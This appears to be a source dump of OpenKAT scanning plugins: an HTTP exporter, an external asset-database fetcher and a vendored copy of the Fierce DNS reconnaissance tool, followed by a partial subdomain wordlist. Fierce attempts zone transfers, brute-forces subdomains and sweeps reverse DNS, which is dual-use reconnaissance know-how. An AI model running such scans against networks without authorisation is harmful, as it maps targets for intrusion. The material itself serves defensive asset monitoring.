    "content": "# Export to HTTP api\n\nThis Boefje can be configured to run on selected OOIs with a selected clearance level, it then exports these OOIs to the configured HTTP endpoint.\nConfigure by copying this Boefje, and provinding Input OOIs of your choice. Limit Exported Objects by selecting an appropriate Scan Level.\n\n### Input OOIs\n\nSelect your own desired inputs by creating a variant. By doing so the user can also select the Scan level, this limits the exported OOIs to only those who have received a high enough scan level, possibly ignoring objects outside of the scope of your organization.\n\n### Configurables \"\"\"\n\nEXPORT_HTTP_ENDPOINT an http(s) url possibly containing Basic Auth credentials\nEXPORT_REQUEST_HEADERS, an enter separated list of headers to be send with the request. Useful for injecting api-tokens.\nEXPORT_HTTP_VERB, GET, POST, DEL, PUT, PATCH, defaults to POST\nEXPORT_REQUEST_PARAMETER, optional named url/post parameter. If none is given the data will be posted as json body.\nEXPORT_HTTP_ORGANIZATION_IDENTIFIER, optional overwritable organization name, defaults to the organization identiefier to which the OOI belongs. Will be added to the params / post data as 'organizaton'.\nTIMEOUT defaults to 15\nUSERAGENT defaults to OpenKAT\nREQUESTS_CA_BUNDLE optional local CA bundle file path when dealing with internal / self-signed servers.\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_export_http/main.py",
    "content": "\"\"\"Boefje script for exporting OOI's to an external http api\"\"\"\n\nimport json\nfrom os import getenv\nfrom typing import Any\n\nimport requests\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ooi = boefje_meta[\"arguments\"][\"input\"]\n\n    timeout = getenv(\"TIMEOUT\", default=15)\n    endpoint_uri = getenv(\"EXPORT_HTTP_ENDPOINT\", \"\")\n    request_headers = getenv(\"EXPORT_REQUEST_HEADERS\", \"\")\n    request_parameter = getenv(\"EXPORT_REQUEST_PARAMETER\", \"\")\n    request_verb = getenv(\"EXPORT_HTTP_VERB\", default=\"POST\").lower()\n    useragent = getenv(\"USERAGENT\", default=\"OpenKAT\")\n    organization = getenv(\"\", boefje_meta[\"organization\"])\n\n    headers = {\"User-Agent\": useragent}\n\n    request_header_list = request_headers.split(\"\\n\")\n    headers.update({header.split(\":\")[0]: header.split(\":\")[1] for header in request_header_list if \":\" in header})\n\n    kwargs: dict[str, Any] = {\"headers\": headers, \"timeout\": float(timeout)}\n\n    if request_verb == \"get\":\n        kwargs.update({\"params\": {request_parameter: json.dumps(input_ooi), \"organization\": organization}})\n    else:\n        if request_parameter:\n            kwargs.update({\"data\": {request_parameter: json.dumps(input_ooi), \"organization\": organization}})\n        else:\n            kwargs.update({\"json\": input_ooi})\n\n    response = requests.request(request_verb, endpoint_uri, **kwargs)  # noqa: S113\n    response.raise_for_status()\n\n    return [(set(), response.content)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_export_http/schema.json",
    "content": "{\n  \"$schema\": \"https://json-schema.org/draft/2020-12/schema\",\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"EXPORT_HTTP_ENDPOINT\": {\n      \"title\": \"EXPORT_HTTP_ENDPOINT\",\n      \"type\": \"string\",\n      \"maxLength\": 1024,\n      \"description\": \"URL to call.\"\n    },\n    \"TIMEOUT\": {\n      \"title\": \"TIMEOUT\",\n      \"type\": \"integer\",\n      \"default\": 15,\n      \"description\": \"Optional HTTP timeout in seconds.\"\n    },\n    \"USERAGENT\": {\n      \"title\": \"USERAGENT\",\n      \"type\": \"string\",\n      \"default\": \"OpenKAT\",\n      \"maxLength\": 1024,\n      \"description\": \"Optional HTTP user-agent.\"\n    },\n    \"EXPORT_REQUEST_HEADERS\": {\n      \"title\": \"EXPORT_REQUEST_HEADERS\",\n      \"type\": \"string\",\n      \"default\": \"OpenKAT\",\n      \"maxLength\": 1024,\n      \"description\": \"Optional extra HTTP request headers, newline-separated pairs of header:value. Useful for API tokens, etc.\"\n    },\n    \"EXPORT_HTTP_VERB\": {\n      \"title\": \"EXPORT_HTTP_VERB\",\n      \"type\": \"string\",\n      \"enum\": [\n        \"GET\",\n        \"POST\",\n        \"DELETE\",\n        \"PUT\",\n        \"PATCH\"\n      ],\n      \"default\": \"POST\",\n      \"description\": \"Optional HTTP verb.\"\n    },\n    \"EXPORT_REQUEST_PARAMETER\": {\n      \"title\": \"EXPORT_REQUEST_PARAMETER\",\n      \"type\": \"string\",\n      \"default\": \"ooi\",\n      \"maxLength\": 1024,\n      \"description\": \"Optional URL parameter to use when sending data, required for GET. If not given, other HTTP verbs will send OOI as a JSON body.\"\n    },\n    \"EXPORT_HTTP_ORGANIZATION_IDENTIFIER\": {\n      \"title\": \"EXPORT_HTTP_ORGANIZATION_IDENTIFIER\",\n      \"type\": \"string\",\n      \"maxLength\": 1024,\n      \"description\": \"Optional organization identifier, defaults to the organization identifier present in the OOI.\"\n    },\n    \"REQUESTS_CA_BUNDLE\": {\n      \"title\": \"REQUESTS_CA_BUNDLE\",\n      \"type\": \"string\",\n      \"maxLength\": 1024,\n      \"description\": \"Optional local file path for a CA bundle.\"\n    }\n  },\n  \"required\": [\n    \"EXPORT_HTTP_ENDPOINT\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_external_db/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_external_db/boefje.json",
    "content": "{\n  \"id\": \"external_db\",\n  \"name\": \"External database host fetcher\",\n  \"description\": \"Fetch hostnames and IP addresses/netblocks from an external database with API. See `description.md` for more information. Useful if you have a large network and wish to add all your hosts. You can also upload hosts through the CSV upload functionality.\",\n  \"consumes\": [\n    \"Network\"\n  ],\n  \"scan_level\": 0,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_external_db.main\"\n  ],\n  \"deduplicate\": false\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_external_db/description.md",
    "content": "This is an external assets database boefje that adds the IPs, netblocks and hostnames from an external API to KAT. As there is no real input for this boefje, it runs on the network object (usually \"internet\").\n\nTo make the API call work, there are four environment variables:\n\n- `DB_URL`; the URL where the API for the database lives (without path, with port), for example `http://host.docker.internal:9000`.\n- `DB_ACCESS_TOKEN`; an API access token as `GET` parameter.\n- `DB_ORGANIZATION_IDENTIFIER`; by default uses the organisation ID in KAT. If this is not preferred it can be changed to something else. Otherwise, make sure that the organization code in kat matches the id of the organisation in the database.\n- `DB_ENDPOINT_FORMAT`; a Python format string with all variables above (optionally empty) and any path specifics of the API. E.g. `{DB_URL}/api/v1/participants/assets/{DB_ORGANIZATION_IDENTIFIER}?access_token={DB_ACCESS_TOKEN}' (without quotes)`\n\nThe response expected is JSON of the form\n\n```json\n{\n    \"ip_key1\":\n        ...\n        \"ip_keyN\": [{\"ip_item_key1\": \"ip_item_keyN\": IPv4/6}],\n    \"domain_key1\":\n        ...\n        \"domain_keyN\": [{\"domain_item_key1\": \"domain_item_keyN\": hostname}]\n}\n```\n\nFor example:\n\n```json\n{\n  \"ip_addresses\": [\n    { \"address\": \"198.51.100.2\" },\n    { \"address\": \"2001:db8:ffff:ffff:ffff:ffff:ffff:ffff\" },\n    { \"address\": \"192.0.2.0/24\" }\n  ],\n  \"domains\": [{ \"name\": \"example.com\" }]\n}\n```\n\nThe expected ip and domain (item) key lists can be configured in `normalize.py`. Ranges are expected as strings in CIDR notation. Clearance level for fetched items is set to `L3` when `BOEFJES_SCAN_PROFILE_WHITELIST='{\"kat_external_db_normalize\": 3}'` is added to the `.env` file otherwise it is set to `L0`. Reference implementation of the API server is in the works.\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_external_db/main.py",
    "content": "\"\"\"Boefje script for getting domains and ipaddresses from dadb\"\"\"\n\nfrom os import getenv\n\nimport requests\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    \"\"\"Fetch external database response.\"\"\"\n    api_format = getenv(\n        \"DB_ENDPOINT_FORMAT\",\n        \"{DB_URL}/api/v1/organizations/assets/{DB_ORGANIZATION_IDENTIFIER}?access_token={DB_ACCESS_TOKEN}\",\n    )\n    request_timeout = 100\n\n    get_request = api_format.format(\n        DB_URL=getenv(\"DB_URL\"),\n        DB_ORGANIZATION_IDENTIFIER=getenv(\"DB_ORGANIZATION_IDENTIFIER\", boefje_meta[\"organization\"]),\n        DB_ACCESS_TOKEN=getenv(\"DB_ACCESS_TOKEN\", \"\"),\n    )\n    response = requests.get(get_request, timeout=request_timeout)\n    if not response.ok:\n        raise ValueError(response.content)\n\n    return [(set(), response.content)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_external_db/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\nfrom ipaddress import IPv4Interface, ip_interface\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import DeclaredScanProfile\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPV4NetBlock, IPV6NetBlock, Network\n\n# Expects raw to be json containing a list of ip_addresses/netblocks\n# (as dictionaries) and a list of domains (as dictionaries).\n# The paths through the dictionaries (to the lists and through the lists)\n# are defined below.\n# T O D O add these variables as normalizer settings in UI.\nIP_ADDRESS_LIST_PATH = [\"ip_addresses\"]\nIP_ADDRESS_ITEM_PATH = [\"address\"]\nDOMAIN_LIST_PATH = [\"domains\"]\nDOMAIN_ITEM_PATH = [\"name\"]\nINDEMNIFICATION_ITEM_PATH = [\"indemnification_level\"]\nDEFAULT_INDEMNIFICATION_LEVEL = 3\n\n\ndef follow_path_in_dict(path, path_dict):\n    \"\"\"Follows a list of keys in a dictionary recursively.\"\"\"\n    if path:\n        key = path[0]\n        if key not in path_dict:\n            raise KeyError(f\"Key {key} not in {list(path_dict.keys())}\")\n        return follow_path_in_dict(path=path[1:], path_dict=path_dict[key])\n    return path_dict\n\n\ndef get_indemnification_level(path_dict):\n    \"\"\"Return indemnification level from metadata or default.\"\"\"\n    try:\n        indemnification_level = int(follow_path_in_dict(path=INDEMNIFICATION_ITEM_PATH, path_dict=path_dict))\n        if 0 <= indemnification_level < 5:\n            return indemnification_level\n        raise ValueError(f\"Invalid indemnificationlevel {indemnification_level}, aborting.\")\n    except KeyError:\n        logging.info(\"No integer indemnification level found, using default.\")\n        return DEFAULT_INDEMNIFICATION_LEVEL\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    \"\"\"Yields hostnames, IPv4/6 addresses or netblocks.\"\"\"\n    results = json.loads(raw)\n    network = Network(name=input_ooi[\"name\"])\n    addresses_count, blocks_count, hostnames_count = 0, 0, 0\n\n    for address_item in follow_path_in_dict(path=IP_ADDRESS_LIST_PATH, path_dict=results):\n        interface = ip_interface(follow_path_in_dict(path=IP_ADDRESS_ITEM_PATH, path_dict=address_item))\n        indemnification_level = get_indemnification_level(path_dict=address_item)\n        address, mask_str = interface.with_prefixlen.split(\"/\")\n        mask = int(mask_str)\n\n        # Decide whether we yield IPv4 or IPv6.\n        if isinstance(interface, IPv4Interface):\n            address_type = IPAddressV4\n            block_type = IPV4NetBlock\n        else:\n            address_type = IPAddressV6\n            block_type = IPV6NetBlock\n\n        ip_address = address_type(address=address, network=network.reference)\n        yield ip_address\n        yield DeclaredScanProfile(reference=ip_address.reference, level=indemnification_level)\n        addresses_count += 1\n\n        if mask < interface.ip.max_prefixlen:\n            block = block_type(start_ip=ip_address.reference, mask=mask, network=network.reference)\n            yield block\n            yield DeclaredScanProfile(reference=block.reference, level=indemnification_level)\n            blocks_count += 1\n\n    for hostname_data in follow_path_in_dict(path=DOMAIN_LIST_PATH, path_dict=results):\n        hostname = Hostname(\n            name=follow_path_in_dict(path=DOMAIN_ITEM_PATH, path_dict=hostname_data), network=network.reference\n        )\n        yield hostname\n        yield DeclaredScanProfile(\n            reference=hostname.reference, level=get_indemnification_level(path_dict=hostname_data)\n        )\n        hostnames_count += 1\n\n    logging.info(\n        \"Yielded %d IP addresses, %d netblocks and %d hostnames on %s.\",\n        addresses_count,\n        blocks_count,\n        hostnames_count,\n        network,\n    )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_external_db/normalizer.json",
    "content": "{\n  \"id\": \"kat_external_db_normalize\",\n  \"name\": \"External database hosts fetcher\",\n  \"description\": \"Parse the fetched host data from the external database into hostnames and IP-addresses.\",\n  \"consumes\": [\n    \"boefje/external_db\"\n  ],\n  \"produces\": [\n    \"Hostname\",\n    \"IPAddressV4\",\n    \"IPV4NetBlock\",\n    \"IPAddressV6\",\n    \"IPV6NetBlock\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_external_db/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"DB_URL\": {\n      \"title\": \"DB_URL\",\n      \"type\": \"string\",\n      \"maxLength\": 2048,\n      \"description\": \"URL for external DB, including port, e.g. 'http://host.docker.internal:9000' (without quotes).\"\n    },\n    \"DB_ACCESS_TOKEN\": {\n      \"title\": \"DB_ACCESS_TOKEN\",\n      \"maxLength\": 2048,\n      \"type\": \"string\",\n      \"description\": \"Access token (API KEY) for external DB. Defaults to empty string.\"\n    },\n    \"DB_ORGANIZATION_IDENTIFIER\": {\n      \"title\": \"DB_ORGANIZATION_IDENTIFIER\",\n      \"maxLength\": 2048,\n      \"type\": \"string\",\n      \"description\": \"Identifier for an organisation. Defaults to KAT organization code.\"\n    },\n    \"DB_ENDPOINT_FORMAT\": {\n      \"title\": \"DB_ENDPOINT_FORMAT\",\n      \"maxLength\": 2048,\n      \"type\": \"string\",\n      \"description\": \"Python format string with all variables above (optionally empty). E.g. '{DB_URL}/api/v1/participants/assets/{DB_ORGANIZATION_IDENTIFIER}?access_token={DB_ACCESS_TOKEN}' (without quotes)\"\n    },\n    \"REQUESTS_CA_BUNDLE\": {\n      \"title\": \"REQUESTS_CA_BUNDLE\",\n      \"maxLength\": 1024,\n      \"type\": \"string\",\n      \"description\": \"Optional local file path for a CA bundle.\"\n    }\n  },\n  \"required\": [\n    \"DB_URL\"\n  ],\n  \"secret\": [\n    \"DB_ACCESS_TOKEN\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/boefje.json",
    "content": "{\n  \"id\": \"fierce\",\n  \"name\": \"Fierce\",\n  \"description\": \"Perform DNS reconnaissance using Fierce. Helps to locate non-contiguous IP space and hostnames against specified hostnames. No exploitation is performed. Beware if your DNS is managed by an external party. This boefjes performs a brute force attack against the name server.\",\n  \"consumes\": [\n    \"Hostname\"\n  ],\n  \"scan_level\": 3,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_fierce.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/description.md",
    "content": "# Fierce\n\nFierce is a semi-lightweight scanner that helps locate non-contiguous IP space and hostnames against specified domains.\nIt's really meant as a pre-cursor to nmap, unicornscan, nessus, nikto, etc, since all of those require that you already\nknow what IP space you are looking for. This does not perform exploitation and does not scan the whole internet\nindiscriminately. It is meant specifically to locate likely targets both inside and outside a corporate network. Because\nit uses DNS primarily you will often find mis-configured networks that leak internal address space. That's especially\nuseful in targeted malware. KAT uses fierce with the module from `https://github.com/mschwager/fierce`.\n\n### Options\n\nThere are three lists of common subdomains that can be used to scan:\n\n| Name        | Length | Description                                 |\n| ----------- | ------ | ------------------------------------------- |\n| default.txt | 1594   | A short list for fast scanning              |\n| 5000.txt    | 5000   | A list with the 5000 most common subdomains |\n| 20000.txt   | 20000  | A list with all known common subdomains     |\n\nEasy switching between lists is currently not possible, switching has to be done in the code of the Boefje.\n\n### Input OOIs\n\nFierce expects a hostname without a subdomain as input. All hostnames can be given as input, but nameservers or\nsubdomains do not yield results.\n\n### Output OOIs\n\nFierce outputs the following OOIs:\n\n| OOI type  | Description                                                                                            |\n| --------- | ------------------------------------------------------------------------------------------------------ |\n| Hostname  | Subdomain of the Hostname input OOI                                                                    |\n| IpAddress | IpAddress of subdomain, can be IpAddressV4 or IpAddressV6                                              |\n| DnsRecord | DnsRecord that couples the output Hostname to the output IpAddress, can be DnsARecord or DnsAaaaRecord |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/fierce.py",
    "content": "#!/usr/bin/env python3\n\n\"\"\"\nThis is fierce version 1.4.0, with some small changes.\nhttps://github.com/mschwager/fierce\n\"\"\"\n\nimport argparse\nimport concurrent.futures\nimport contextlib\nimport functools\nimport http.client\nimport ipaddress\nimport itertools\nimport multiprocessing\nimport os\nimport random\nimport socket\nimport sys\nimport time\nfrom typing import Any\n\nimport dns.exception\nimport dns.name\nimport dns.query\nimport dns.resolver\nimport dns.reversename\nimport dns.zone\n\n\ndef fatal(msg, _return_code=-1):\n    raise Exception(msg)\n\n\ndef print_subdomain_result(url, ip, nearby=None):\n    output = {\"url\": str(url), \"ip\": str(ip)}\n\n    if nearby:\n        output[\"nearby\"] = nearby\n\n    return output\n\n\ndef unvisited_closure():\n    visited: set = set()\n\n    def inner(l):  # noqa: E741\n        nonlocal visited\n        result = set(l).difference(visited)\n        visited.update(l)\n        return result\n\n    return inner\n\n\ndef find_subdomain_list_file(filename):\n    # First check the list directory relative to where we are. This\n    # will typically happen if they simply cloned the Github repository\n    filename_path = os.path.join(os.path.dirname(__file__), \"lists\", filename)\n    if os.path.exists(filename_path):\n        return os.path.abspath(filename_path)\n    else:\n        return filename\n\n\ndef head_request(url, timeout=2):\n    conn = http.client.HTTPConnection(url, timeout=timeout)\n\n    try:\n        conn.request(\"HEAD\", \"/\")\n        resp = conn.getresponse()\n        return resp.getheaders()\n    except (ConnectionError, socket.gaierror, TimeoutError, OSError):\n        return []\n    finally:\n        conn.close()\n\n\ndef concatenate_subdomains(domain, subdomains):\n    subdomains = [nested_subdomain for subdomain in subdomains for nested_subdomain in subdomain.strip(\".\").split(\".\")]\n\n    result = dns.name.Name(tuple(subdomains) + domain.labels)\n\n    if not result.is_absolute():\n        result = result.concatenate(dns.name.root)\n\n    return result\n\n\ndef query(resolver, domain, record_type=\"A\", tcp=False):\n    try:\n        resp = resolver.query(domain, record_type, raise_on_no_answer=False, tcp=tcp)\n        if resp.response.answer:\n            return resp\n\n        # If we don't receive an answer from our current resolver let's\n        # assume we received information on nameservers we can use and\n        # perform the same query with those nameservers\n        if resp.response.additional and resp.response.authority:\n            ns = [rdata.address for additional in resp.response.additional for rdata in additional.items]\n            resolver.nameservers = ns\n            return query(resolver, domain, record_type, tcp=tcp)\n\n        return None\n    except (dns.resolver.NXDOMAIN, dns.resolver.NoNameservers, dns.exception.Timeout, ValueError):\n        return None\n\n\ndef reverse_query(resolver, ip, tcp=False):\n    return query(resolver, dns.reversename.from_address(ip), record_type=\"PTR\", tcp=tcp)\n\n\ndef recursive_query(resolver, domain, record_type=\"NS\", tcp=False):\n    query_domain = str(domain)\n    query_response = None\n    try:\n        while query_response is None:\n            query_response = query(resolver, query_domain, record_type, tcp=tcp)\n            query_domain = query_domain.split(\".\", 1)[1]\n    except IndexError:\n        return None\n\n    return query_response\n\n\ndef zone_transfer(address, domain):\n    try:\n        return dns.zone.from_xfr(dns.query.xfr(address, domain))\n    except (ConnectionError, EOFError, TimeoutError, dns.exception.DNSException):\n        return None\n\n\ndef get_class_c_network(ip):\n    ip = int(ip)\n    floored = ipaddress.ip_address(ip - (ip % (2**8)))\n    class_c = ipaddress.IPv4Network(f\"{floored}/24\")\n\n    return class_c\n\n\ndef default_expander(ip):\n    return [ip]\n\n\ndef traverse_expander(ip, n=5):\n    ip = int(ip)\n    class_c_floor = ip - (ip % 256)\n    class_c_ceiling = class_c_floor + 255\n\n    ip_min = max(ip - n, class_c_floor)\n    ip_max = min(ip + n, class_c_ceiling)\n    return [ipaddress.IPv4Address(i) for i in range(ip_min, ip_max + 1)]\n\n\ndef wide_expander(ip):\n    class_c = get_class_c_network(ip)\n\n    result = list(class_c)\n\n    return result\n\n\ndef range_expander(ip):\n    try:\n        network = ipaddress.IPv4Network(ip)\n    except ipaddress.AddressValueError:\n        fatal(f\"Invalid IPv4 CIDR: {ip!r}\")\n\n    result = list(network)\n\n    return result\n\n\ndef default_filter(address):\n    return True\n\n\ndef search_filter(domains, address):\n    return any(domain in address for domain in domains)\n\n\ndef find_nearby(resolver, ips, filter_func=None):\n    if filter_func is None:\n        filter_func = default_filter\n\n    str_ips = [str(ip) for ip in ips]\n\n    # https://docs.python.org/3.5/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor\n    max_workers = multiprocessing.cpu_count() * 5\n\n    with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:\n        reversed_ips = {\n            ip: query_result\n            for ip, query_result in zip(\n                str_ips, executor.map(reverse_query, itertools.repeat(resolver, len(str_ips)), str_ips)\n            )\n        }\n\n    reversed_ips = {k: v[0].to_text() for k, v in reversed_ips.items() if v is not None and filter_func(v[0].to_text())}\n\n    return reversed_ips\n\n\ndef get_stripped_file_lines(filename):\n    \"\"\"\n    Return lines of a file with whitespace removed\n    \"\"\"\n    try:\n        with open(filename) as f:\n            lines = f.readlines()\n    except FileNotFoundError:\n        fatal(f\"Could not open file: {filename!r}\")\n\n    return [line.strip() for line in lines]\n\n\ndef get_subdomains(subdomains, subdomain_filename):\n    \"\"\"\n    Return subdomains with the following priority:\n        1. Subdomains list provided as an argument\n        2. A filename containing a list of subdomains\n    \"\"\"\n    if subdomains:\n        return subdomains\n    elif subdomain_filename:\n        return get_stripped_file_lines(subdomain_filename)\n\n    return []\n\n\ndef update_resolver_nameservers(resolver, nameservers, nameserver_filename):\n    \"\"\"\n    Update a resolver's nameservers. The following priority is taken:\n        1. Nameservers list provided as an argument\n        2. A filename containing a list of nameservers\n        3. The original nameservers associated with the resolver\n    \"\"\"\n    if nameservers:\n        resolver.nameservers = nameservers\n    elif nameserver_filename:\n        nameservers = get_stripped_file_lines(nameserver_filename)\n        resolver.nameservers = nameservers\n    else:\n        # Use original nameservers\n        pass\n\n    return resolver\n\n\ndef fierce(**kwargs):\n    output: dict[str, Any] = {}\n    resolver = dns.resolver.Resolver()\n\n    resolver = update_resolver_nameservers(resolver, kwargs[\"dns_servers\"], kwargs[\"dns_file\"])\n\n    if kwargs.get(\"range\"):\n        range_ips = range_expander(kwargs.get(\"range\"))\n        nearby = find_nearby(resolver, range_ips)\n        if nearby:\n            pass\n\n    if not kwargs.get(\"domain\"):\n        return\n\n    domain = dns.name.from_text(kwargs[\"domain\"])\n    if not domain.is_absolute():\n        domain = domain.concatenate(dns.name.root)\n\n    ns = recursive_query(resolver, domain, \"NS\", tcp=kwargs[\"tcp\"])\n\n    domain_name_servers = [n.to_text() for n in ns] if ns else []\n\n    output[\"NS\"] = domain_name_servers if ns else \"failure\"\n\n    soa = recursive_query(resolver, domain, record_type=\"SOA\", tcp=kwargs[\"tcp\"])\n    if soa:\n        soa_mname = soa[0].mname\n        master = query(resolver, soa_mname, record_type=\"A\", tcp=kwargs[\"tcp\"])\n        master_address = master[0].address\n        output[\"SOA\"] = f\"{soa_mname} ({master_address})\"\n    else:\n        fatal(\"Failed to lookup NS/SOA, Domain does not exist\")\n\n    zone = zone_transfer(master_address, domain)\n    if zone:\n        return\n\n    random_subdomain = str(random.randint(10_000_000_000, 100_000_000_000))  # noqa DUO102, non-cryptographic random use\n    random_domain = concatenate_subdomains(domain, [random_subdomain])\n    wildcard = query(resolver, random_domain, record_type=\"A\", tcp=kwargs[\"tcp\"])\n    wildcard_ips = {rr.address for rr in wildcard.rrset} if wildcard else set()\n\n    subdomains = get_subdomains(kwargs[\"subdomains\"], kwargs[\"subdomain_file\"])\n\n    filter_func = None\n    if kwargs.get(\"search\"):\n        filter_func = functools.partial(search_filter, kwargs[\"search\"])\n\n    expander_func = default_expander\n    if kwargs.get(\"wide\"):\n        expander_func = wide_expander\n    elif kwargs.get(\"traverse\"):\n        expander_func = functools.partial(traverse_expander, n=kwargs[\"traverse\"])\n\n    unvisited = unvisited_closure()\n\n    output[\"subdomains\"] = {}\n    for subdomain in subdomains:\n        url = concatenate_subdomains(domain, [subdomain])\n        record = query(resolver, url, record_type=\"A\", tcp=kwargs[\"tcp\"])\n\n        if record is None or record.rrset is None:\n            continue\n\n        ips = [rr.address for rr in record.rrset]\n        if wildcard_ips == set(ips):\n            continue\n\n        ip = ipaddress.IPv4Address(ips[0])\n\n        if \"connect\" in kwargs and not ip.is_private:\n            head_request(str(ip))\n\n        ips = expander_func(ip)\n        unvisited_ips = unvisited(ips)\n\n        nearby = find_nearby(resolver, unvisited_ips, filter_func=filter_func)\n\n        output[\"subdomains\"][subdomain] = print_subdomain_result(url, ip, nearby=nearby)\n\n        if kwargs.get(\"delay\"):\n            time.sleep(kwargs[\"delay\"])\n\n    return output\n\n\ndef parse_args(args):\n    p = argparse.ArgumentParser(\n        description=\"\"\"\n        A DNS reconnaissance tool for locating non-contiguous IP space.\n        \"\"\",\n        formatter_class=argparse.RawTextHelpFormatter,\n    )\n\n    p.add_argument(\"--domain\", action=\"store\", help=\"domain name to test\")\n    p.add_argument(\"--connect\", action=\"store_true\", help=\"attempt HTTP connection to non-RFC 1918 hosts\")\n    p.add_argument(\"--wide\", action=\"store_true\", help=\"scan entire class c of discovered records\")\n    p.add_argument(\n        \"--traverse\",\n        action=\"store\",\n        type=int,\n        default=5,\n        help=\"scan IPs near discovered records, this won't enter adjacent class c's\",\n    )\n    p.add_argument(\"--search\", action=\"store\", nargs=\"+\", help=\"filter on these domains when expanding lookup\")\n    p.add_argument(\"--range\", action=\"store\", help=\"scan an internal IP range, use cidr notation\")\n    p.add_argument(\"--delay\", action=\"store\", type=float, default=None, help=\"time to wait between lookups\")\n\n    subdomain_group = p.add_mutually_exclusive_group()\n    subdomain_group.add_argument(\"--subdomains\", action=\"store\", nargs=\"+\", help=\"use these subdomains\")\n    subdomain_group.add_argument(\n        \"--subdomain-file\",\n        action=\"store\",\n        default=\"5000.txt\",\n        help=\"use subdomains specified in this file (one per line)\",\n    )\n\n    dns_group = p.add_mutually_exclusive_group()\n    dns_group.add_argument(\"--dns-servers\", action=\"store\", nargs=\"+\", help=\"use these dns servers for reverse lookups\")\n    dns_group.add_argument(\n        \"--dns-file\", action=\"store\", help=\"use dns servers specified in this file for reverse lookups (one per line)\"\n    )\n    p.add_argument(\"--tcp\", action=\"store_true\", help=\"use TCP instead of UDP\")\n\n    args = p.parse_args(args)\n\n    # Attempt to intelligently find the subdomain list depending on\n    # how this library was installed.\n    if args.subdomain_file and not os.path.exists(args.subdomain_file):\n        args.subdomain_file = find_subdomain_list_file(args.subdomain_file)\n\n    return args\n\n\ndef main():\n    args = parse_args(sys.argv[1:])\n\n    with contextlib.suppress(KeyboardInterrupt):\n        fierce(**vars(args))\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_fierce/lists/20000.txt",
    "content": "www\nmail\nftp\nlocalhost\nwebmail\nsmtp\nwebdisk\npop\ncpanel\nwhm\nns1\nns2\nautodiscover\nautoconfig\nns\ntest\nm\nblog\ndev\nwww2\nns3\npop3\nforum\nadmin\nmail2\nvpn\nmx\nimap\nold\nnew\nmobile\nmysql\nbeta\nsupport\ncp\nsecure\nshop\ndemo\ndns2\nns4\ndns1\nstatic\nlists\nweb\nwww1\nimg\nnews\nportal\nserver\nwiki\napi\nmedia\nimages\nwww.blog\nbackup\ndns\nsql\nintranet\nwww.forum\nwww.test\nstats\nhost\nvideo\nmail1\nmx1\nwww3\nstaging\nwww.m\nsip\nchat\nsearch\ncrm\nmx2\nads\nipv4\nremote\nemail\nmy\nwap\nsvn\nstore\ncms\ndownload\nproxy\nwww.dev\nmssql\napps\ndns3\nexchange\nmail3\nforums\nns5\ndb\noffice\nlive\nfiles\ninfo\nowa\nmonitor\nhelpdesk\npanel\nsms\nnewsletter\nftp2\nweb1\nweb2\nupload\nhome\nbbs\nlogin\napp\nen\nblogs\nit\ncdn\nstage\ngw\ndns4\nwww.demo\nssl\ncn\nsmtp2\nvps\nns6\nrelay\nonline\nservice\ntest2\nradio\nntp\nlibrary\nhelp\nwww4\nmembers\ntv\nwww.shop\nextranet\nhosting\nldap\nservices\nwebdisk.blog\ns1\ni\nsurvey\ns\nwww.mail\nwww.new\nc-n7k-v03-01.rz\ndata\ndocs\nc-n7k-n04-01.rz\nad\nlegacy\nrouter\nde\nmeet\ncs\nav\nsftp\nserver1\nstat\nmoodle\nfacebook\ntest1\nphoto\npartner\nnagios\nmrtg\ns2\nmailadmin\ndev2\nts\nautoconfig.blog\nautodiscover.blog\ngames\njobs\nimage\nhost2\ngateway\npreview\nwww.support\nim\nssh\ncorreo\ncontrol\nns0\nvpn2\ncloud\narchive\ncitrix\nwebdisk.m\nvoip\nconnect\ngame\nsmtp1\naccess\nlib\nwww5\ngallery\nredmine\nes\nirc\nstream\nqa\ndl\nbilling\nconstrutor\nlyncdiscover\npainel\nfr\nprojects\na\npgsql\nmail4\ntools\niphone\nserver2\ndbadmin\nmanage\njabber\nmusic\nwebmail2\nwww.beta\nmailer\nphpmyadmin\nt\nreports\nrss\npgadmin\nimages2\nmx3\nwww.webmail\nws\ncontent\nsv\nweb3\ncommunity\npoczta\nwww.mobile\nftp1\ndialin\nus\nsp\npanelstats\nvip\ncacti\ns3\nalpha\nvideos\nns7\npromo\ntesting\nsharepoint\nmarketing\nsitedefender\nmember\nwebdisk.dev\nemkt\ntraining\nedu\nautoconfig.m\ngit\nautodiscover.m\ncatalog\nwebdisk.test\njob\nww2\nwww.news\nsandbox\nelearning\nfb\nwebmail.cp\ndownloads\nspeedtest\ndesign\nstaff\nmaster\npanelstatsmail\nv2\ndb1